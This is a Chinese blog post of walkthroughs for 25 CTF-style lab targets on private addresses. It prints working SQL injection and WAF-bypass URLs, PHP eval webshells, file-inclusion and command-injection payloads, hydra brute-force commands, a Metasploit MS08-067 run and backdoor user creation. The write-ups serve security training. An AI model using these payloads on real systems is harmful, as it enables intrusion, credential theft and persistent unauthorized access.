开坑CTF题目靶机练习,两天一更新~
Less-01 不合理的验证方式
访问index.php,显示以下信息
用账号密码test登录,无信息,抓包发现cookie=test
更改为cookie=admin,重新发送数据包,得到flag
Less-02 base64加解密与sql构造
访问index.php,显示以下信息
查看源代码,发现有两个超链接
1 | http://192.168.2.108/index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ= |
可以发现这个参数很像base64,而且前半部分是一样的,尝试解码,结果为
1 | SELECT+*+FROM+language+order+by+ranking+limit+0,4 |
是两个sql查询语句,我们知道limit控制的是查询条数,于是我们将查询语句改写为
1 | SELECT+*+FROM+language+order+by+year+limit+0,5 |
base64,然后发送数据
1 | U0VMRUNUICogRlJPTSBsYW5ndWFnZSBvcmRlciBieSByYW5raW5nIGxpbWl0IDAsNQ== |
得到flag
Less-03 一个SQL引发的血案
访问index.php,得到以下界面
查看源代码,发现以下链接
典型的注入特征,尝试注入
验证是否存在注入
1 | http://192.168.2.111/index.php?id=1 访问正常有回显 |
验证注入类型
1 | http://192.168.2.111/index.php?id=1' and '1'='1 访问报错 |
判断字段数
1 | http://192.168.2.111/index.php?id=1 order by 2 访问正常有回显 |
判断显示位
1 | http://192.168.2.111/index.php?id=-1 union select 1,2 回显1,2 |
查询数据库名
1 | http://192.168.2.111/index.php?id=-1 union select database(),2 |
查询表名
1 | http://192.168.2.111/index.php?id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() |
查询列名
1 | http://192.168.2.111/index.php?id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() |
查询数据
1 | http://192.168.2.111/index.php?id=-1 union select database(),group_concat(username,password) from admin |
得到flag
Less-04 管理员的诟病
访问index.php,是WordPress的博客,首页有这样一句话
一个系统再安全,也会因为一个弱口令而沦陷
那么应该是弱口令,找到登录界面
输入用户名123,密码123,提示无效用户名
输入admin,密码123,提示密码错误,说明存在admin用户
利用burp爆破密码,发现123456与其他密码回显长度不同
尝试登录,成功登录后台
getshelll操作:外观编辑,编辑index.php为一句话木马,连接即可
在www目录下可查看flag
Less-05 备份信息的泄露
访问index.php,显示以下信息
你只需要获取一个备份文件
应该是存在文件泄露,于是扫描文件
1 | python3 ctf-wscan.py http://192.168.2.114 |
Less-06 svn信息泄露
访问index.php,显示以下信息
What is svn?
猜测为svn信息泄露,于是扫描目录
1 | python3 ctf-wscan.py http://192.168.2.115 |
发现确实存在.svn源码泄露
利用dvcs-ripper恢复源码
1 | rip-svn.pl -v -u http://192.168.2.115/.svn/ |
恢复了一个index.php ,查看文件得到flag
Less-07 coding
首页写着明显的thinkPHP2.1,于是去网上搜索漏洞,
发现可以执行命令
1 | http://192.168.2.112/index.php/Index/index/name/$%7B@phpinfo%28%29%7D |
成功显示PHPinfo界面,
getshell
1 | http://192.168.2.112/index.php/module/action/param1/$%7B@print(eval($_POST[shell]))%7D |
菜刀连接成功,查看index.php代码发现flag
Less-08 平衡权限的威胁
访问首页,提示
看不见的,不代表没有
查看源代码,发现提示
注意URL变化
很明显的看到有index.html,index-1.html,index-3.html,缺少index-2.html,访问index-2.html,提示禁止访问,我们可以直接查看它的源代码,发现flag
Less-09 文件上传的突破
访问首页是一个文件上传页面,直接传php一句话失败,抓包改content-type为image/jpeg,成功得到flag
Less-10 文件下载的利用
访问首页是一个文件下载页面,参数为index.php?file=filename,那么猜测存在任意文件下载漏洞, 尝试下载源码
1 | index.php?file=index.php |
提示文件不存在,index.php不可能不存在啊,那么回不回不造一个目录呢,尝试
1 | index.php?file=../index.php |
成功下载源码,得到flag
Less-11 include的沦陷(一)
访问首页index.php发现是一个语言选择界面,存在参数
1 | ?lang=cn.php/en.php |
猜测存在文件包含漏洞,尝试读取源码
1 | ?lang=php://filter/read=convert.base64-encode/resource=index.php |
得到
1 | PD9waHANCi8va2V5OlJlbW90ZSBGaWxlIEluY2x1ZGUNCmlmKGlzc2V0KCRfR0VUWydsYW5nJ10pKXsNCglpbmNsdWRlKCRfR0VUWydsYW5nJ10pOw0KfWVsc2V7DQoJaGVhZGVyKCJMb2NhdGlvbjogaW5kZXgucGhwP2xhbmc9Y24ucGhwIik7DQp9DQo/ |
base64解码
1 | <?php |
得到flag
Less-12 include的沦陷(二)
访问首页,是一个和Less-11相同的内容,尝试读源码失败,于是开始瞎试,随便输一个文件名,发现可以爆出当前路径,尝试读host文件
1 | ?lang=../../Windows/System32/drivers/etc/hosts |
读取hosts文件成功,存在本地包含,读取根目录的flag即可
Less-13 exec的沦陷
访问首页,是一个ping的页面,尝试执行测试
1 | 127.0.0.1 |
成功回显信息,尝试列举目录
1 | 127.0.0.1&dir |
成功回显信息,读取flag即可
1 | 127.0.0.1&type ../../key.txt |
Less-14 ftp的逆袭
访问首页,提示
There is a chance on 21.
鲁迅说过,一想到21,就想到ftp,就想到弱口令
尝试登录
1 | ftp 192.168.2.111 |
回显User is ftp.
尝试爆破ftp密码
1 | hydra -l ftp -P ./dic.txt -t 4 -I ftp://192.168.2.111 |
成功得到ftp密码ftp,登录ftp
ls发现当前目录只有index.php,猜测是网站的根目录,写入shell
1 | put shell.php |
菜刀连接网站,根目录读取flag即可
Less-15 ftp漏洞
http://www.exploit-db.com/exploits/27401/
没看出来咋做,跟着wp写的,好像是CVE-2010-2620,
针对ftp的一个攻击,给出改好的exp
1 | import ftplib |
Less-16 幽灵的Remote Desktop
访问靶机ip,80端口未开,扫描端口
1 | root@kali:~# nmap 192.168.2.116 |
发现有敏感端口3389开启,尝试爆破3389端口
1 | hydra 192.168.2.116 rdp -l administrator -P /usr/share/wordlists/rockyou.txt -V |
爆破得到密码123456,远程登录windows桌面即可
Less-17 无法爆破的密码
没看出来怎么搞,照着指导手册做
访问靶机ip,80端口未开,扫描端口,发现开启3389
登录3389远程服务,连续输入shift弹出cmd界面,添加用户
1 | net user test test /add |
用test test登录远程桌面即可
Less-18 IIS ghost-put漏洞
首页提示 IIS 6 + WebDAV
我们去网上搜索相应的exp
使用msf复现失败,查看指导手册
存在iis put漏洞,所以我们使用IISPutScanner扫描
扫到漏洞。使用iiswrite进行提权,利用PUT和MOVE,写入asp木马到服务器,成功getshell
Less-19 xmapp 漏洞
搜索xmapp版本1.7.3,发现exp地址
http://www.exploit-db.com/exploits/15370/
通过exp得到flag
1 | http://192.168.2.119/xampp/showcode.php/c:boot.ini?showcode=1 |
Less-20 dangerous 溢出漏洞
访问ip,发现80端口没开,
扫描端口,发现445端口开启
开始攻击
1 | use exploit/windows/smb/ms08_067_netapi |
攻击成功,读取flag即可
Less-21 ckfinder漏洞
访问靶机,为phpinfo探针
测试数据库连接,发现用户名和密码都是root
扫描目录,phpinfo.php和phpmyadmin
访问phpinfo.php,得到网站目录为
C:/WWW
phpmyadmin用户名和密码为root,登录成功
执行
1 | select "<?php @eval($_POST['shell']);?>" into outfile "C:/WWW/shell.php"; |
菜刀连接,getshell,得到flag
以上是我非预期解法,指导手册根本就不是这么玩的。。。
wscan扫描网站,发现l.php和ckfinder文件夹
访问ckfinder文件夹(根本就没有。。。)
访问http://xxx/ckfinder/ckfinder.html发现文件上传页面
传php提示扩展名不可用
改文件名为2.php;1.txt,利用IIS6.0解析漏洞上传成功
点击文件,查看路径,菜刀连接getshell(虚幻)
Less-22 iis6本地提权漏洞
跟着wp做的,好像是第一次提权成功?
扫描目录发现shell.asp
1 | password=execute("response.write(""111111111111111""))"); |
爆破参数password发现参数为123
连接shell.asp密码为123
上传iis6.exe cmd.exe asp.asp(大马),蚁剑传不上去的话可以试试菜刀或者Cknife
借助我们上传的c:\inetpub\wwwroot\cmd.exe和iis6.exe执行命令
1 | c:\inetpub\wwwroot\iis6.exe "net user admin admin /add" |
远程桌面连接拿下flag即可
Less-23 lpk本地提权漏洞
跟着wp做的,但是复现失败了,不太熟悉这种二进制相关的,但还是简单记录想吧
以test test 普通账户登录,直接查看flag无权限
利用T00ls Lpk Sethc v4 制作lpk.dll(劫持可执行的exe文件)
如图配置
生成lpk.dll后存放在存在exe的文件夹下
两分钟后执行exe文件,成功添加管理员账户
再以管理员账户登录,得到flag即可(幻想
Less-24 绕安全狗进行sql注入
这个我自己过的hhh,开心
随便找了个注入点
1 | http://192.168.2.124/index.php?p=detberita&id=71 |
进行测试
1 | http://192.168.2.124/index.php?p=detberita&id=71 #页面正常 |
感觉应该是安全狗检测的空格,
于是继续测试,发现确实是,列数为21,显示位为2、3、4、12、17
直接给出拿flag的payload
1 | http://192.168.2.124/index.php?p=detberita&id=%27/**/union/**/select/**/1,2,group_concat(schema_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/information_schema.schemata/**/%23 |
预期题解给的是用sqlmap的space2mysqldash.py进行绕过
Less-25 绕安全狗进行sql注入
直接上传一句话木马,被拦截
把php的一句话命令为shell.txt
再以shell.php文件包含shell.txt
借助hackbar执行命令即可
刚开始想用菜刀连接,怎么也没有连上,查询资料后发现,安全狗对于菜刀蚁剑这样是做了防护的,有空可以好好看看免杀的东西
总结
一共25个靶场,除了一些传统的CTF题目,也涉及到了一些比较基础的实战内容,有空可以整理一下exp和工具什么的,也可以做一些简单的做成docker,此部分完结!
本文链接: https://yd0ng.github.io/2020/02/02/CTF%E9%A2%98%E7%9B%AE%E9%9D%B6%E6%9C%BA%E7%BB%83%E4%B9%A0/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!